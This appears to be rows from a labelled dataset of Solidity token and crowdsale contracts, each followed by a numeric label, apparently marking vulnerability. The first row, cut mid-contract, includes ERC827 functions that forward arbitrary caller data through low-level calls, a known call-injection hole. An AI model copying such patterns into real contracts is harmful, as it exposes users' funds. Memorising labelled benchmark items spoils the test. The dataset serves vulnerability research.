function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
uint256 tokens = _getTokenAmount(weiAmount);
weiRaised = weiRaised.add(weiAmount);
_processPurchase(_beneficiary, tokens);
emit TokenPurchase(
msg.sender,
_beneficiary,
weiAmount,
tokens
);
_updatePurchasingState(_beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(_beneficiary, weiAmount);
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal {
require(_beneficiary != address(0));
require(_weiAmount != 0);
}
function _postValidatePurchase(address _beneficiary, uint256 _weiAmount) internal {
}
function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal {
token.transfer(_beneficiary, _tokenAmount);
}
function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal {
_deliverTokens(_beneficiary, _tokenAmount);
}
function _updatePurchasingState(address _beneficiary, uint256 _weiAmount) internal {
}
function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) {
return _weiAmount.mul(rate);
}
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
}
contract TimedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public openingTime;
uint256 public closingTime;
modifier onlyWhileOpen {
require(block.timestamp >= openingTime && block.timestamp <= closingTime);
_;
}
function TimedCrowdsale(uint256 _openingTime, uint256 _closingTime) public {
require(_openingTime >= block.timestamp);
require(_closingTime >= _openingTime);
openingTime = _openingTime;
closingTime = _closingTime;
}
function hasClosed() public view returns (bool) {
return block.timestamp > closingTime;
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal onlyWhileOpen {
super._preValidatePurchase(_beneficiary, _weiAmount);
}
}
contract AllowanceCrowdsale is Crowdsale {
using SafeMath for uint256;
address public tokenWallet;
function AllowanceCrowdsale(address _tokenWallet) public {
require(_tokenWallet != address(0));
tokenWallet = _tokenWallet;
}
function remainingTokens() public view returns (uint256) {
return token.allowance(tokenWallet, this);
}
function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal {
token.transferFrom(tokenWallet, _beneficiary, _tokenAmount);
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC827 is ERC20 {
function approveAndCall( address _spender, uint256 _value, bytes _data) public payable returns (bool);
function transferAndCall( address _to, uint256 _value, bytes _data) public payable returns (bool);
function transferFromAndCall(
address _from,
address _to,
uint256 _value,
bytes _data
)
public
payable
returns (bool);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract ERC827Token is ERC827, StandardToken {
function approveAndCall(address _spender, uint256 _value, bytes _data) public payable returns (bool) {
require(_spender != address(this));
super.approve(_spender, _value);
require(_spender.call.value(msg.value)(_data));
return true;
}
function transferAndCall(address _to, uint256 _value, bytes _data) public payable returns (bool) {
require(_to != address(this));
super.transfer(_to, _value);
require(_to.call.value(msg.value)(_data));
return true;
}
function transferFromAndCall(
address _from,
address _to,
uint256 _value,
bytes _data
)
public payable returns (bool)
{
require(_to != address(this));
super.transferFrom(_from, _to, _value);
require(_to.call.value(msg.value)(_data));
return true;
}
function increaseApprovalAndCall(address _spender, uint _addedValue, bytes _data) public payable returns (bool) {
require(_spender != address(this));
super.increaseApproval(_spender, _addedValue);
require(_spender.call.value(msg.value)(_data));
return true;
}
function decreaseApprovalAndCall(address _spender, uint _subtractedValue, bytes _data) public payable returns (bool) {
require(_spender != address(this));
super.decreaseApproval(_spender, _subtractedValue);
require(_spender.call.value(msg.value)(_data));
return true;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract EDUToken is BurnableToken, KYCToken, ERC827Token {
using SafeMath for uint256;
string public constant name = "EDU Token";
string public constant symbol = "EDU";
uint8 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 48000000 * (10 ** uint256(decimals));
constructor(address _certifier) public KYCToken(_certifier) {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
emit Transfer(0x0, msg.sender, INITIAL_SUPPLY);
}
function transfer(address _to, uint256 _value) public isKnownCustomer(msg.sender) returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public isKnownCustomer(_from) returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public isKnownCustomer(_spender) returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public isKnownCustomer(_spender) returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public isKnownCustomer(_spender) returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
function delayedTransferFrom(address _tokenWallet, address _to, uint256 _value) public onlyManager returns (bool) {
transferFrom(_tokenWallet, _to, _value);
kycPending[_to] = true;
}
}
contract CappedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public cap;
function CappedCrowdsale(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
function capReached() public view returns (bool) {
return weiRaised >= cap;
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal {
super._preValidatePurchase(_beneficiary, _weiAmount);
require(weiRaised.add(_weiAmount) <= cap);
}
}
contract EDUCrowdsale is AllowanceCrowdsale, CappedCrowdsale, TimedCrowdsale, Ownable, Certifiable {
using SafeMath for uint256;
uint256 constant FIFTY_ETH = 50 * (10 ** 18);
uint256 constant HUNDRED_AND_FIFTY_ETH = 150 * (10 ** 18);
uint256 constant TWO_HUNDRED_AND_FIFTY_ETH = 250 * (10 ** 18);
uint256 constant TEN_ETH = 10 * (10 ** 18);
EDUToken public token;
event TokenWalletChanged(address indexed newTokenWallet);
event WalletChanged(address indexed newWallet);
constructor(
address _wallet,
EDUToken _token,
address _tokenWallet,
uint256 _cap,
uint256 _openingTime,
uint256 _closingTime,
address _certifier
) public
Crowdsale(getCurrentRate(), _wallet, _token)
AllowanceCrowdsale(_tokenWallet)
CappedCrowdsale(_cap)
TimedCrowdsale(_openingTime, _closingTime)
Certifiable(_certifier)
{
token = _token;
}
function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal {
if (certifier.certified(_beneficiary)) {
token.transferFrom(tokenWallet, _beneficiary, _tokenAmount);
} else {
token.delayedTransferFrom(tokenWallet, _beneficiary, _tokenAmount);
}
}
function getCurrentRate() public view returns (uint256) {
if (block.timestamp < 1528156799) {
return 1050;
} else if (block.timestamp < 1528718400) {
return 940;
} else if (block.timestamp < 1529323200) {
return 865;
} else if (block.timestamp < 1529928000) {
return 790;
} else {
return 750;
}
}
function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256)
{
uint256 currentRate = getCurrentRate();
uint256 volumeBonus = _getVolumeBonus(currentRate, _weiAmount);
return currentRate.mul(_weiAmount).add(volumeBonus);
}
function _getVolumeBonus(uint256 _currentRate, uint256 _weiAmount) internal view returns (uint256) {
if (_weiAmount >= TEN_ETH) {
return _currentRate.mul(_weiAmount).mul(20).div(100);
}
return 0;
}
function changeTokenWallet(address _tokenWallet) external onlyOwner {
require(_tokenWallet != address(0x0));
tokenWallet = _tokenWallet;
emit TokenWalletChanged(_tokenWallet);
}
function changeWallet(address _wallet) external onlyOwner {
require(_wallet != address(0x0));
wallet = _wallet;
emit WalletChanged(_wallet);
}
} | 0 | 631 |
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract StandardTokenExt is StandardToken {
function isToken() public constant returns (bool weAre) {
return true;
}
}
contract BurnableToken is StandardTokenExt {
address public constant BURN_ADDRESS = 0;
event Burned(address burner, uint burnedAmount);
function burn(uint burnAmount) {
address burner = msg.sender;
balances[burner] = balances[burner].sub(burnAmount);
totalSupply = totalSupply.sub(burnAmount);
Burned(burner, burnAmount);
Transfer(burner, BURN_ADDRESS, burnAmount);
}
}
contract UpgradeAgent {
uint public originalSupply;
function isUpgradeAgent() public constant returns (bool) {
return true;
}
function upgradeFrom(address _from, uint256 _value) public;
}
contract UpgradeableToken is StandardTokenExt {
address public upgradeMaster;
UpgradeAgent public upgradeAgent;
uint256 public totalUpgraded;
enum UpgradeState {Unknown, NotAllowed, WaitingForAgent, ReadyToUpgrade, Upgrading}
event Upgrade(address indexed _from, address indexed _to, uint256 _value);
event UpgradeAgentSet(address agent);
function UpgradeableToken(address _upgradeMaster) {
upgradeMaster = _upgradeMaster;
}
function upgrade(uint256 value) public {
UpgradeState state = getUpgradeState();
if(!(state == UpgradeState.ReadyToUpgrade || state == UpgradeState.Upgrading)) {
throw;
}
if (value == 0) throw;
balances[msg.sender] = balances[msg.sender].sub(value);
totalSupply = totalSupply.sub(value);
totalUpgraded = totalUpgraded.add(value);
upgradeAgent.upgradeFrom(msg.sender, value);
Upgrade(msg.sender, upgradeAgent, value);
}
function setUpgradeAgent(address agent) external {
if(!canUpgrade()) {
throw;
}
if (agent == 0x0) throw;
if (msg.sender != upgradeMaster) throw;
if (getUpgradeState() == UpgradeState.Upgrading) throw;
upgradeAgent = UpgradeAgent(agent);
if(!upgradeAgent.isUpgradeAgent()) throw;
if (upgradeAgent.originalSupply() != totalSupply) throw;
UpgradeAgentSet(upgradeAgent);
}
function getUpgradeState() public constant returns(UpgradeState) {
if(!canUpgrade()) return UpgradeState.NotAllowed;
else if(address(upgradeAgent) == 0x00) return UpgradeState.WaitingForAgent;
else if(totalUpgraded == 0) return UpgradeState.ReadyToUpgrade;
else return UpgradeState.Upgrading;
}
function setUpgradeMaster(address master) public {
if (master == 0x0) throw;
if (msg.sender != upgradeMaster) throw;
upgradeMaster = master;
}
function canUpgrade() public constant returns(bool) {
return true;
}
}
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
require(newOwner != address(0));
owner = newOwner;
}
}
contract ReleasableToken is ERC20, Ownable {
address public releaseAgent;
bool public released = false;
mapping (address => bool) public transferAgents;
modifier canTransfer(address _sender) {
if(!released) {
if(!transferAgents[_sender]) {
throw;
}
}
_;
}
function setReleaseAgent(address addr) onlyOwner inReleaseState(false) public {
releaseAgent = addr;
}
function setTransferAgent(address addr, bool state) onlyOwner inReleaseState(false) public {
transferAgents[addr] = state;
}
function releaseTokenTransfer() public onlyReleaseAgent {
released = true;
}
modifier inReleaseState(bool releaseState) {
if(releaseState != released) {
throw;
}
_;
}
modifier onlyReleaseAgent() {
if(msg.sender != releaseAgent) {
throw;
}
_;
}
function transfer(address _to, uint _value) canTransfer(msg.sender) returns (bool success) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint _value) canTransfer(_from) returns (bool success) {
return super.transferFrom(_from, _to, _value);
}
}
library SafeMathLib {
function times(uint a, uint b) returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function minus(uint a, uint b) returns (uint) {
assert(b <= a);
return a - b;
}
function plus(uint a, uint b) returns (uint) {
uint c = a + b;
assert(c>=a);
return c;
}
}
contract MintableToken is StandardTokenExt, Ownable {
using SafeMathLib for uint;
bool public mintingFinished = false;
mapping (address => bool) public mintAgents;
event MintingAgentChanged(address addr, bool state);
event Minted(address receiver, uint amount);
function mint(address receiver, uint amount) onlyMintAgent canMint public {
totalSupply = totalSupply.plus(amount);
balances[receiver] = balances[receiver].plus(amount);
Transfer(0, receiver, amount);
}
function setMintAgent(address addr, bool state) onlyOwner canMint public {
mintAgents[addr] = state;
MintingAgentChanged(addr, state);
}
modifier onlyMintAgent() {
if(!mintAgents[msg.sender]) {
throw;
}
_;
}
modifier canMint() {
if(mintingFinished) throw;
_;
}
}
contract CrowdsaleToken is ReleasableToken, MintableToken, UpgradeableToken {
event UpdatedTokenInformation(string newName, string newSymbol);
string public name;
string public symbol;
uint public decimals;
function CrowdsaleToken(string _name, string _symbol, uint _initialSupply, uint _decimals, bool _mintable)
UpgradeableToken(msg.sender) {
owner = msg.sender;
name = _name;
symbol = _symbol;
totalSupply = _initialSupply;
decimals = _decimals;
balances[owner] = totalSupply;
if(totalSupply > 0) {
Minted(owner, totalSupply);
}
if(!_mintable) {
mintingFinished = true;
if(totalSupply == 0) {
throw;
}
}
}
function releaseTokenTransfer() public onlyReleaseAgent {
mintingFinished = true;
super.releaseTokenTransfer();
}
function canUpgrade() public constant returns(bool) {
return released && super.canUpgrade();
}
function setTokenInformation(string _name, string _symbol) onlyOwner {
name = _name;
symbol = _symbol;
UpdatedTokenInformation(name, symbol);
}
}
contract BurnableCrowdsaleToken is BurnableToken, CrowdsaleToken {
function BurnableCrowdsaleToken(string _name, string _symbol, uint _initialSupply, uint _decimals, bool _mintable)
CrowdsaleToken(_name, _symbol, _initialSupply, _decimals, _mintable) {
}
} | 1 | 2,405 |
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